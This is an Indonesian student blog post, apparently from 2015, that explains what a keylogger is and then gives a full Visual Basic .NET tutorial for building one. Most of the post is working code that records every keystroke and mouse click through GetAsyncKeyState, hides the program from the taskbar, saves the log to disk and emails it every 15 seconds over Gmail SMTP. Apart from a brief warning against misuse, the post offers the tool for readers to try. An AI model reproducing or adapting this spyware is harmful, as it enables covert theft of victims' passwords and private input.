Nikolas Mario

Keylogger Uhuy

Posted: May 10th 2015

Hallo sahabat blogger, kali ini saya dan teman saya(1 team) ingin membagi sedikit informasi tentang keylogger. Apa itu keylogger ?
Keylogger adalah sebuah program yang dibuat untuk merekam pengentrian data melalui keyboard dan memasukannya ke dalam log (catatan seperti notepad, dll).

Keylogger terbagi dalam dua jenis, yaitu jenis hardware dan software. Keylogger hardware biasanya berupa alat yang dipasang diantara slot keyboard pada komputer dan keyboard , sedangkan Keylogger software berupa program atau aplikasi yang di-install pada computer yang akan dipasangi Keylogger.

Keylogger awalnya digunakan untuk keperluan positif, seperti memonitori aktifitas-aktifitas pekerja atau anak yang menggunakan komputer. Tapi saat ini banyak para hacker menggunakan sofftware ini untuk keperluan negative, seperti memasangnya di komputer-komputer milik perusahaan, warnet, komputer perorangan dll, jadi jangan di salah gunakan.

Berikut merupakan tutorial untuk keylogger software bagi anda yang ingin mencobanya.

1. Anda membutuhkan Visual Basic.
2. Buatlah project baru dengan nama yang anda inginkan, contoh(KeyloggerKu).
3. Lalu tambahkan Textbox dan 3 Timers.
4. Ubah interval waktu timer pada properties(interval waktu dalam millisecond)
Untuk timer1 = 2
timer2 = 15000
timer3 = 1
5. Ubah properties pada Textbox1
Atur Read Only = True
Multi Line = True
MaxLength = 2147483647
6. Ubah properties pada Form1
Atur Set show in taskbar = false
7. Kemudian tambahkan code berikut pada form1.

 

 

-start code-

Imports System.Net.Mail ‘Mail Class
Public Class Form1
Dim result As Integer

‘mendeklarasikan pemanggilan library user32.dll pada bagian windows

Private Declare Function GetAsyncKeyState Lib “USER32” (ByVal vKey As Long) As Short ‘buat yang 64 bit
Private Declare Function GetKeyState Lib “user32” (ByVal nVirtKey As Long) As Short

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start() ‘waktu mengambil setiap inputan keyboard
Timer2.Start() ‘waktu untuk mengirim email
Timer3.Start() ‘waktu berapa lama form akan terlihat

End Sub

Public Function GetCapslock() As Boolean
‘untuk mendeteksiĀ capslock.

GetCapslock = CBool(GetKeyState(&H14) And 1) ‘cbool convert angka ke boolean

End Function

Public Function GetShift() As Boolean

‘untuk mendeteksi shift.

GetShift = CBool(GetAsyncKeyState(&H10))

End Function
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i As Integer = 1 To 225
result = 0
result = GetAsyncKeyState(i) ‘GetAsyncKeyState buat membaca pencetan keyboard

If result = -32767 Then
If GetCapslock() = True And GetShift() = True Then ‘jika dua-duanya dipencet
Select Case (i)
Case 192
TextBox1.Text = TextBox1.Text + “~”
Case 1
TextBox1.Text = TextBox1.Text + “[Left Mouse Click]”
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 32
TextBox1.Text = TextBox1.Text + ” ”
Case 48
TextBox1.Text = TextBox1.Text + “)”
Case 49
TextBox1.Text = TextBox1.Text + “!”
Case 50
TextBox1.Text = TextBox1.Text + “@”
Case 51
TextBox1.Text = TextBox1.Text + “#”
Case 52
TextBox1.Text = TextBox1.Text + “$”
Case 53
TextBox1.Text = TextBox1.Text + “%”
Case 54
TextBox1.Text = TextBox1.Text + “^”
Case 55
TextBox1.Text = TextBox1.Text + “&”
Case 56
TextBox1.Text = TextBox1.Text + “*”
Case 57
TextBox1.Text = TextBox1.Text + “(”
Case 8
TextBox1.Text = TextBox1.Text + “[BackSpace]”
Case 46
TextBox1.Text = TextBox1.Text + “[Del]”
Case 190
TextBox1.Text = TextBox1.Text + “>”
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + “[Ctrl]”
Case 18
TextBox1.Text = TextBox1.Text + “[Alt]”
Case 189
TextBox1.Text = TextBox1.Text + “_”
Case 187
TextBox1.Text = TextBox1.Text + “+”
Case 219
TextBox1.Text = TextBox1.Text + “{”
Case 221
TextBox1.Text = TextBox1.Text + “}”
Case 186
TextBox1.Text = TextBox1.Text + “:”
Case 222
TextBox1.Text = TextBox1.Text + “”””
Case 188
TextBox1.Text = TextBox1.Text + “<” Case 191 TextBox1.Text = TextBox1.Text + “?” Case 220 TextBox1.Text = TextBox1.Text + “|” Case 13 TextBox1.Text = TextBox1.Text + ” [Enter]” + vbNewLine Case 20 Case 91 ‘windows key Case 9 TextBox1.Text = TextBox1.Text + ” [Tab]” Case 2 TextBox1.Text = TextBox1.Text + ” [RightMouseClick]” Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + ” Ascii(” + i.ToString + “) ” End Select End If If GetCapslock() = True And GetShift() = False Then ‘jika capslock dipencet, shift tidak dipencet Select Case (i) Case 91 ‘windows key Case 1 TextBox1.Text = TextBox1.Text + “[Left Mouse Click]” Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + ” ” Case 48 To 57 TextBox1.Text = TextBox1.Text + Chr(i) Case 8 TextBox1.Text = TextBox1.Text + “[BackSpace]” Case 46 TextBox1.Text = TextBox1.Text + “[Del]” Case 190 TextBox1.Text = TextBox1.Text + “.” Case 16 Case 160 To 165 Case 20 Case 192 TextBox1.Text = TextBox1.Text + “`” Case 189 TextBox1.Text = TextBox1.Text + “-” Case 187 TextBox1.Text = TextBox1.Text + “=” Case 219 TextBox1.Text = TextBox1.Text + “[” Case 221 TextBox1.Text = TextBox1.Text + “]” Case 186 TextBox1.Text = TextBox1.Text + “;” Case 222 TextBox1.Text = TextBox1.Text + “‘” Case 188 TextBox1.Text = TextBox1.Text + “,” Case 191 TextBox1.Text = TextBox1.Text + “/” Case 220 TextBox1.Text = TextBox1.Text + “\” Case 17 TextBox1.Text = TextBox1.Text + “[Ctrl]” Case 18 TextBox1.Text = TextBox1.Text + “[Alt]” Case 13 TextBox1.Text = TextBox1.Text + ” [Enter]” + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + ” [Tab]” Case 2 TextBox1.Text = TextBox1.Text + ” [RightMouseClick]” Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + ” Ascii(” + i.ToString + “) ” End Select End If If GetCapslock() = False And GetShift() = True Then Select Case (i) Case 91 ‘windows key Case 192 TextBox1.Text = TextBox1.Text + “~” Case 1 TextBox1.Text = TextBox1.Text + “[Left Mouse Click]” Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + ” ” Case 48 TextBox1.Text = TextBox1.Text + “)” Case 49 TextBox1.Text = TextBox1.Text + “!” Case 50 TextBox1.Text = TextBox1.Text + “@” Case 51 TextBox1.Text = TextBox1.Text + “#” Case 52 TextBox1.Text = TextBox1.Text + “$” Case 53 TextBox1.Text = TextBox1.Text + “%” Case 54 TextBox1.Text = TextBox1.Text + “^” Case 55 TextBox1.Text = TextBox1.Text + “&” Case 56 TextBox1.Text = TextBox1.Text + “*” Case 57 TextBox1.Text = TextBox1.Text + “(” Case 8 TextBox1.Text = TextBox1.Text + “[BackSpace]” Case 46 TextBox1.Text = TextBox1.Text + “[Del]” Case 190 TextBox1.Text = TextBox1.Text + “>”
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + “[Ctrl]”
Case 18
TextBox1.Text = TextBox1.Text + “[Alt]”
Case 189
TextBox1.Text = TextBox1.Text + “_”
Case 187
TextBox1.Text = TextBox1.Text + “+”
Case 219
TextBox1.Text = TextBox1.Text + “{”
Case 221
TextBox1.Text = TextBox1.Text + “}”
Case 186
TextBox1.Text = TextBox1.Text + “:”
Case 222
TextBox1.Text = TextBox1.Text + “”””
Case 188
TextBox1.Text = TextBox1.Text + “<”
Case 191
TextBox1.Text = TextBox1.Text + “?”
Case 220
TextBox1.Text = TextBox1.Text + “|”
Case 13
TextBox1.Text = TextBox1.Text + ” [Enter]” + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + ” [Tab]”
Case 20
Case 2
TextBox1.Text = TextBox1.Text + ” [RightMouseClick]”
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + ” Ascii(” + i.ToString + “) ”
End Select
End If
If GetCapslock() = False And GetShift() = False Then
Select Case (i)
Case 1
TextBox1.Text = TextBox1.Text + “[Left Mouse Click]”
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 32
TextBox1.Text = TextBox1.Text + ” ”
Case 48 To 57
TextBox1.Text = TextBox1.Text + Chr(i)
Case 8
TextBox1.Text = TextBox1.Text + “[BackSpace]”
Case 46
TextBox1.Text = TextBox1.Text + “[Del]”
Case 190
TextBox1.Text = TextBox1.Text + “.”
Case 16
Case 160 To 165
Case 20
Case 192
TextBox1.Text = TextBox1.Text + “`”
Case 189
TextBox1.Text = TextBox1.Text + “-”
Case 187
TextBox1.Text = TextBox1.Text + “=”
Case 91 ‘windows key
Case 219
TextBox1.Text = TextBox1.Text + “[”
Case 221
TextBox1.Text = TextBox1.Text + “]”
Case 186
TextBox1.Text = TextBox1.Text + “;”
Case 222
TextBox1.Text = TextBox1.Text + “‘”
Case 188
TextBox1.Text = TextBox1.Text + “,”
Case 191
TextBox1.Text = TextBox1.Text + “/”
Case 220
TextBox1.Text = TextBox1.Text + “\”
Case 17
TextBox1.Text = TextBox1.Text + “[Ctrl]”
Case 18
TextBox1.Text = TextBox1.Text + “[Alt]”
Case 13
TextBox1.Text = TextBox1.Text + ” [Enter]” + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + ” [Tab]”
Case 2
TextBox1.Text = TextBox1.Text + ” [RightMouseClick]”
Case 37 To 40

Case Else
TextBox1.Text = TextBox1.Text + ” Ascii(” + i.ToString + “) ”
End Select
End If

End If
Next i
End Sub

Sub MainEvents()
‘bisa pakai smpt selain gmail misalnya:
‘”smpt.yahoo.com” or “smpt.custom_email.edu”
Try
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(“Email_Anda@gmail.com”)
MyMailMessage.To.Add(“Email_Anda@gmail.com”)
MyMailMessage.Subject = “Test”
MyMailMessage.Body = TextBox1.Text
Dim SMPT As New SmtpClient(“smtp.gmail.com”)
SMPT.Port = 587
SMPT.EnableSsl = True
SMPT.Credentials = New System.Net.NetworkCredential(“Email_Anda@gmail.com”, “Password_Email”)
SMPT.Send(MyMailMessage)

TextBox1.Text = “”
Catch ex As Exception ‘buat catch jika gagal mengirim
End Try
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

If TextBox1.Text <> “” Then ‘jika formnya tidak kosong maka hasil keylog akan dikirim
My.Computer.FileSystem.WriteAllText(“D:\kemjar_keylogger.txt”, TextBox1.Text, True)
MainEvents()
End If
End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
‘Me.Visible = False ‘untuk hidden form
‘Me.Hide()
End Sub

End Class

-end code-

Setelah itu jalankan keylogger anda untuk mengetes dengan menekan F5.
Selamat mencoba šŸ˜€


Leave a Reply

Your email address will not be published. Required fields are marked *

© 2020 Universitas Atma Jaya Yogyakarta
css.php